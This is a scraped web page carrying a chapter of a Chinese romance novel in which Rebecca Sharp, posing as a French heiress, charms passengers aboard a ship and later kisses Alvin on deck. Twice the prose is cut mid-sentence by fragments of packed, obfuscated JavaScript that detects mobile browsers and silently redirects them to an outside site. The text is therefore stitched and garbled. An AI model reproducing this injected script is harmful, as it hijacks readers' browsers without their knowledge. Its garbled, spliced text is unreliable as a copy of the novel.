l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14949368|160310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微微下撇的嘴角，和澄净明亮的蓝眼睛里，反而带着点孩子气的抱怨，蜷曲叛逆的卷发，随着他的说话声，一蹦一跳。 瑞蓓卡没像阿尔文反应那么大。 注意到阿尔文的表情，利安德尔少校意识到自己的声音有些大，他立刻转头看向她，握住她的手。 “抱歉，我在海外太久，与军营里的人习惯了大声说话，不怎么习惯与小姐们相处，我以后会注意的。” 他转头看着她时，大概是发觉她实在太矮，无法对上她的目光，显得不够真诚，于是微微低头，鼻息打在她的额头上。 这是个接吻的好角度，她只需伸手轻轻将他的脖子往下一勾，他会吻她的。她看到了，他的视线好几次落到她的唇上。 “没关系。” “或许，我才有资格说这句话。”阿尔文脸色阴沉，蓝灰色的眼珠，冷冰冰地看着他们两个人。 利安德尔少校全然无觉，他大笑一声：“这样吧，为补偿我刚刚过分的音量，你跟我们一起去散步好啦，你不是也想去散步吗？” 阿尔文没说话。 他很想问问西蒙，他跟着去散步有什么用，他站在这里，他俩都这么旁若无人。 他还跟他俩去干什么？能起到一个怎样的作用呢？ 观赏这对才认识一天的男女调情吗？ 他还想问问瑞蓓卡，她干了什么，就使得这家伙坠落情网了？ 像当初面对他时那么不知廉耻掀开她的裙摆吗？她找到西蒙的那天没下雨吧？ 三人正要开门时，隔壁58号房间忽传来开门声，瑞蓓卡第一次感受到无力。 她看向阿尔文，后者愤怒地用口型说：“No.” 他们和菲代勒先生并不相识，没有中间人做介绍，按照礼节，他们不能进行交谈，只能互相行礼后，默默无言地走在走廊里。 但菲代勒先生明显对他的邻居很感兴趣，频频注视他们。 她与阿尔文买下56号的初衷，在此刻得到实现，她心中却高兴不起来。 菲代勒先生从前面的岔路口，拐进前往餐厅的那条路，看样子是要去吃下午茶。 如果她跟利安德尔少校去甲板，她得不到任何好处，但若是去餐厅，大概率能找到一位能充当介绍人的家伙，让她与菲代勒先生搭上线。 “利安德尔少校，我突然有点饿，你想用些点心吗？” 西蒙停下脚步，有些疑惑：“我不饿，你怎么突然饿了？” 阿尔文盯着菲代勒先生，冷笑道：“夏普小姐不是饿了，而是要去提前认识其他乘客，了解他们的喜恶，免得晚宴时候，摸不清状况，影响她在社交场上大杀四方。” “你不知道吧，夏普小姐走到哪儿都是人见人爱，罗姆塞的人尤其欢迎她。” 瑞蓓卡觉得她的大脑快要爆炸。 昨天好不容易用大方直白和不拘礼节，挽回一点儿利安德尔少校的好感，现在倒好，他直接告诉利安德尔少校，她是个虚伪心机的交际花…… “罗姆塞的那群人！哈，你很讨他们喜欢？” 25.第 25 章 阿尔文的话，像触动了什么关键词，引起利安德尔少校的强烈反应。 瑞蓓卡猜测，利安德尔少校大概与罗姆塞的一些人不和，她笑笑：“虽然不怎么想承认阿尔文先生对我的评价，但某种程度上我确实足够讨人喜欢，何止是罗姆塞的人喜欢我。” “那就合理了，怪不得你临时改变主意，看样子58号住的是个大人物，你更愿意与他结交。” 利安德尔少校抽出被她紧挽着的胳膊，朝菲代勒先生消失的方向做出“请”的姿势。 阿尔文慢慢悠悠走到她面前，向她伸出手：“走吧。” 她看看利安德尔少校，又看看始作俑者阿尔文，心中无论如何都咽不下这口气，不想轻易放弃。 刚刚平息的怒火再次腾地从心底窜起，阿尔文直接拉起她的胳膊，转身往餐厅走。 他走得很快，起初她有些跟不上，虽然他看不到她的表情，但那沉滞的步伐，不断宣扬着她的愤懑不满。 这短短的路程，走了还不到一半，她已经调整过来，跟上他的步伐。 快到餐厅时，她主动挽上他的胳膊，他忍不住转头望。她的表情已经变成富家女拥有一切后的餍足笑意，正轻摇扇子，微微点头，向为他们拉开餐厅玻璃门的侍者致意。 阿尔文自认为他的伪装力该胜过她。 没想到他还留有余怒时，她已经调整好状态，于是他将心中有关西蒙和她的一切疑问，全都暂时压下，准备专心应对眼前的一切。 餐厅里，菲代勒先生还没落座，他立刻找人帮他们做介绍，顺势以邻居的身份，邀请菲代勒先生共进下午茶。 傍晚的夕阳透过彩色格子窗，投下彩色黄晕，衬得银餐具单一锃亮的颜色，更加亮眼。 这个时间用下午茶的人不多，他们这一桌，只有四个人，菲代勒先生、埃拉克上校、阿尔文和她。 蓄着海豹胡的菲代勒先生天生一副谨慎权威的模样：“拿破仑下台后，很多贵族都回到了巴黎，昂特勒夏家族迟迟没有消息，我还以为女伯爵在土伦发生了不好的事情①。” “我母亲往英国逃，英国在法国的西北部，怎么可能跑到东南部的土伦港乘船呢？除非她想跑去见见拿破仑。” 瑞蓓卡说起法语的韵律腔调，像餐刀摸过黄油一样丝滑，对法国的历史和地理也都熟练掌握，使菲代勒先生打消不少怀疑。 “那为什么到您这一代，才决定回到法国呢？” “母亲的身体很差，无法承受远洋航行，虽然一直惦念此时，但始终未能回到故土，临去世前，还不断叮嘱我……” 说到这儿，瑞蓓卡低下头，用手帕擦擦眼角。 “因此，我才让阿尔文先生陪我回法国。” 菲代勒先生急忙道歉。 尽管阿尔文在进入餐厅前，决心认真帮助瑞蓓卡结交菲代勒，但他几乎没能派上什么用场。 光凭瑞蓓卡一个人，足够应付菲代勒先生。 她从船上的装饰画，聊到文艺复兴时期的艺术巨匠，再到当代的艺术作品、文学作品，聊到各国的历史政治格局，再到轮船构造原理，最终着眼当下的经济。 菲代勒先生从起初的略带矜持，到后来直接忍不住称赞她：“您应当出现在吸烟室里，让那些什么都不懂却敢侃侃而谈的男士羞死！” 埃拉克上校作为一个临时凑局加入的人，没能与她说几句话，都跟着连连赞叹：“听上去，您像是从小在吸烟室听着大人的言谈长大的。” 连阿尔文都不得不承认，即使是从小接受贵族教育的女性，也无法胜过她更多。 除了有关轮船的那段内容，是他临时找到几本书，让她看的，剩下的内容，都是她的临场发挥。 他知道她能言善辩，但没想过她能言善辩背后的功底是渊博学识。 他早该想到，特纳将军不是容易受他人外表影响的青春少年，瑞蓓卡能博得将军的欣赏，一定有丰富的内涵为支撑。 面对菲代勒先生和埃拉克上校的夸奖，瑞蓓卡非常得意。 “差不多吧，我爸爸与客人聊天时，从不避开我。” “哦，那他们肯定都是政府的官员或商人，对政治经济很了解呢！” 瑞蓓卡笑得差点岔气。 她从画室里听着男人们对世界的指指点点长大，索霍区哪有什么官员和商人，大部分都是跑来英国谋生的外国人。 在罗姆塞，与上流社会男士交流时，她发现，索霍区那些自封民间政治家、经济家的失意男人，他们的论调，与上流社会男人的论调，其实没什么不同。 那时候，她便知道，人们普遍认为男人擅长的他们的本分——政治经济，其实对大部分不从事相关职业的男人来说，他们并不怎么擅长或是了解，他们只不过比女人更敢说。 在政治经济方面，她学习得不如历史艺术那么深，平克顿女校不教这个。 好在他们也不了解，过往的经验告诉她，只要牢牢把住几个话题。 说起政治，她只需要轻蔑提起大部分男人都讨厌的科西嘉小个子，或是聊聊摄政王的债务问题，再提两句夏洛特公主继位的可能性。 聊起经济，她只需要提起食物商的造假，绝对能引起大部分人的赞同： 德国美因茨的葡萄酒，往劣质酒液里掺一氧化铅，柔化口感，伪装高档葡萄酒；牧民们往牛奶中加甲醛，延长牛奶的保质期；杂货商用硫酸铜染绿菠菜，往火腿里加硼砂②…… 夜幕降临，枝形水晶吊灯将宴会厅照得亮如白昼，白日的小小社交舞台，变成铺着白色缎布的长长餐桌，二十四副餐具，在白色缎面桌布上投下整齐的影子。 “轮船公司董事、船长、男爵夫人、某团团长……”利安德尔少校打量着餐盘里放着的客人名片，又看看其他桌的客人，“恭喜你们大获全胜。” 菲代勒先生一看到瑞蓓卡，立刻上来行礼：“我以为您早上登船时的帽子已经足够好看，没想到这个彩色的缠头更配您！” 他称赞着她的缠头，眼神却不断地落在她的耳饰和胸前的巨大钻石上。 “这是昂特勒夏女伯爵留给您的首饰吗？” 瑞蓓卡昂首挺胸，点点头。 布克德太太能把这条项链借给她，是她完全想不到的。 那颗老矿式切割的三十克拉钻石，来自布克德太太的婚戒，价值四千镑，换算成法郎，差不多等于十万法郎。 据说因为太浮夸，布克德太太稍稍年长后，总觉得戴不出去，才把它改成项链上的吊坠。 瑞蓓卡当时假意推辞时，布克德太太说：“法国人爱在打扮上花钱，巴黎的男女最爱攀比，不戴一条能够艳压他们的首饰，你难道想给我们英国女人丢脸吗？” 有了这颗大钻石彰显实力，再加上她智慧与口才，还没到上最后的甜品时，在座的二十四位宾客，人人都坚定不移地认为，她是从小作为继承人培养大的富家女。 用完晚餐后，菲代勒先生还在跟她聊天，阿尔文陪伴她身边，剩下的男士基本都去了吸烟室。 利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14959941|160310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安德尔少校百无聊赖地在一边将烟匣里的烟，一根根拿出来，数清楚，再重新放进去，然后再把它们拿出来，重新排列。 通过这顿饭，瑞蓓卡总算看出，利安德尔少校不只讨厌虚伪的人，他讨厌所有上等人。 他唇角常常勾起，不是大部分绅士那种礼节性微笑，而是嘲弄。 菲代勒先生频频注视利安德尔少校的情况，让阿尔文头疼不已，早知道他不该非让他住一等舱，逼迫他来社交。 他愿意住下等舱，就住下等舱好了，反正他们在一等舱看不见他，人们不会知道利安德尔少校是他们的亲戚。 阿尔文小声跟他说几句话，利安德尔少校无聊得失去神采的眼睛，突然亮晶晶：“你说真的？” “嗯。” 紧接着，利安德尔少校起身离开餐厅。 瑞蓓卡和阿尔文在餐厅待到快十点，才与菲代勒先生相约吹吹风醒酒，然后一起回住处。 她喝了些香槟，被冰冷的海风一吹，立刻开始打喷嚏，扮演保护人一角的阿尔文，体贴地拿出披肩，帮她裹上。 触及到她滚烫的肌肤，阿尔文微微发怔。 此刻她苍白的脸蛋，浮现出不正常的红晕，绿眼睛带着一层薄薄的雾气，眨眼的频率很高，忽闪忽闪地，像极了海面上空的星夜。 “你喝醉了。” 阿尔文忍不住想起上次她这么漂亮的时候，是她洗澡的那次。 “什么？夏普小姐喝醉了？那你们继续在这吹风吧，我得先回去。” 菲代勒先生没想到外面这么冷，先一步离开。 他离开后，甲板上的另外几个人也走了，只剩下瑞蓓卡和阿尔文。 “我们也走吧。” 阿尔文说完这句话，被自己吓了一跳，他的声音难得的温柔，不像假装绅士时的故作姿态。 “我第一次看到海上的星空，不想走。” 她双手搭在栏杆上，披肩随着海风飘扬，露出白得发青和月亮一样颜色的肩膀。 很奇怪，餐厅里的女人各个都穿这种没袖子的裙子，他从没注意过她们的肩膀，甚至刚刚在餐厅时，他也没注意她裸露的皮肤。 她实在太亮眼，自信又带点小俏皮的得意地侃侃而谈，吸引了他的全部目光，他的目光全程都没离开她的脸。 “我先走了。” 瑞蓓卡拉住他的衣角：“不要走。” 他转身将披肩往上拉，盖住她的肩膀，他第一次做这种事，但动作意外地行云流水。 “你不觉得我今天表现得很好吗？” “嗯。” “那你陪我看一会儿星星吧，就当是我的奖励。” 阿尔文没有回答，默默无言地站在她身边。 “咦？你眼下有根睫毛，你低低头，我帮你拿下来。” 瑞蓓卡凑到他面前，绿眼睛里写满诚挚，仿佛她真的只是想帮他——忽略掉她按在他心口上不安分的小手。 他低下头，直到能感受到她的呼吸还不停止，继续慢慢地低下脖子。 她将头往后一仰，闭上双眼。 阿尔文立刻伸手，揽住她的脑袋，往上托，轻轻地吻上去。 过了好一会儿，他才松开她，可瑞蓓卡还觉得太快，几乎以为受他欺骗了。 她睁开眼，发现阿尔文正看着她，眼神愤怒、伤心。 瑞蓓卡不明白，她干什么了？她没强吻他，也没抛弃他。 为什么他的表情，看上去仿佛她做了什么辜负他的事？